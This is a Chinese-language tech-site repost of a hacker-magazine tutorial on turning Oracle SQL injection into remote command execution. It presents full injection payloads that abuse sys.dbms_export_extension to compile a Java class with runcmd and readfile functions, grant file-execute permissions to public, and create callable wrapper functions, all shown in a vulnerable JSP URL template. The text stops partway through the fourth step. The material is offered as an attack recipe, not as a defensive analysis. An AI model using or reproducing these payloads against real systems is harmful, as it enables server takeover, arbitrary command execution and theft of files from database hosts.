当前位置: 代码网 > 服务器>网络安全>企业安全 > 犀利的 oracle 注入技术

犀利的 oracle 注入技术

2009年06月09日 企业安全 我要评论
犀利的 oracle 注入技术犀利的 oracle 注入技术   原文发表在黑客手册   linx 2008.1.12   介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。   以下的演示都是在web上的sql plus执行... 09-06-09

犀利的 oracle 注入技术
  原文发表在黑客手册
  linx 2008.1.12
  介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
  以下的演示都是在web上的sql plus执行的,在web注入时 把select sys.dbms_export_extension…..改成
  /xxx.jsp?id=1 and '1'<>'a'||(select sys.dbms_export_extension…..)
  的形式即可。(用" 'a'|| "是为了让语句返回true值)
  语句有点长,可能要用post提交。
  以下是各个步骤:
  1.创建包
  通过注入 sys.dbms_export_extension 函数,在oracle上创建java包linxutil,里面两个函数,runcmd用于执行系统命令,readfile用于读取文件:
  /xxx.jsp?id=1 and '1'<>'a'||(
  select sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''
  create or replace and compile java source named "linxutil" as import java.io.*; public class linxutil extends object {public static string runcmd(string args) {try{bufferedreader myreader= new bufferedreader(
  new inputstreamreader( runtime.getruntime().exec(args).getinputstream() ) ); string stemp,str="";while ((stemp = myreader.readline()) != null) str +=stemp+"\n";myreader.close();return str;} catch (exception e){return e.tostring();}}public static string readfile(string filename){try{bufferedreader myreader= new bufferedreader(new filereader(filename)); string stemp,str="";while ((stemp = myreader.readline()) != null) str +=stemp+"\n";myreader.close();return str;} catch (exception e){return e.tostring();}}
  }'''';end;'';end;–','sys',0,'1',0) from dual
  )
  ————————
  如果url有长度限制,可以把readfile()函数块去掉,即:
  /xxx.jsp?id=1 and '1'<>'a'||(
  select sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''
  create or replace and compile java source named "linxutil" as import java.io.*; public class linxutil extends object {public static string runcmd(string args) {try{bufferedreader myreader= new bufferedreader(
  new inputstreamreader( runtime.getruntime().exec(args).getinputstream() ) ); string stemp,str="";while ((stemp = myreader.readline()) != null) str +=stemp+"\n";myreader.close();return str;} catch (exception e){return e.tostring();}}
  }'''';end;'';end;–','sys',0,'1',0) from dual
  )
  同时把后面步骤 提到的 对readfile()的处理语句去掉。
  ——————————
  2.赋java权限
  select sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''begin dbms_java.grant_permission( ''''''''public'''''''', ''''''''sys:java.io.filepermission'''''''', ''''''''<<all files>>'''''''', ''''''''execute'''''''' );end;'''';end;'';end;–','sys',0,'1',0) from dual
  3.创建函数
  select sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''
  create or replace function linxruncmd(p_cmd in varchar2) return varchar2 as language java name ''''''''linxutil.runcmd(java.lang.string) return string''''''''; '''';end;'';end;–','sys',0,'1',0) from dual
  select sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''
  create or replace function linxreadfile(filename in varchar2) return varchar2 as language java name ''''''''linxutil.readfile(java.lang.string) return string''''''''; '''';end;'';end;–','sys',0,'1',0) from dual
  4.赋public执行函数的权限
  select sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''gran

(0)

相关文章:

  • 木马连接原理

    木马连接原理

    木马连接原理  正向连接木马,所谓正向,就是在中马者在机器上开个端口,而我们去连接他噶端口。而我们要知道距噶IP,先可以连接他。123就是他机器上开的端口  ... [阅读全文]
  • 高手支招:通过进程抓马

    高手支招:通过进程抓马

    高手支招:通过进程抓马 对于进程这个概念,许多电脑用户都没有给予太多关注。在很多人印象里,只知道结束进程可以杀死程序,至于哪些进程对应哪些程序,究竟什么样的进... [阅读全文]
  • 如何多开QQ游戏大厅

    如何多开QQ游戏大厅

    如何多开QQ游戏大厅用WinHEX打开QQ游戏目录Tencent\QQGame\common\Utility.dll文件   搜索3DB70000008BCE... [阅读全文]
  • 汗颜:黑客居然这样保护自己的电脑

    汗颜:黑客居然这样保护自己的电脑

    汗颜:黑客居然这样保护自己的电脑 看了你昨天的留言,我才知道原来木马可以用这么多方式传播呀。那我想问你一件事,常在河边走,哪有不湿鞋,你经常黑别人,难道就没有... [阅读全文]
  • 黑客教你7招秘籍入侵xp系统

    黑客教你7招秘籍入侵xp系统

    黑客教你7招秘籍入侵xp系统 第一招:屏幕保护   在Windows中启用了屏幕保护之后,只要我们离开计算机(或者不操作计算机)的时间达到预设的时间,系统... [阅读全文]
  • “回收站”使用技巧集锦

    “回收站”使用技巧集锦

    “回收站”使用技巧集锦 ★巧用“回收站”的“编辑”菜单   如果要删除“回收站”中的大... [阅读全文]

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com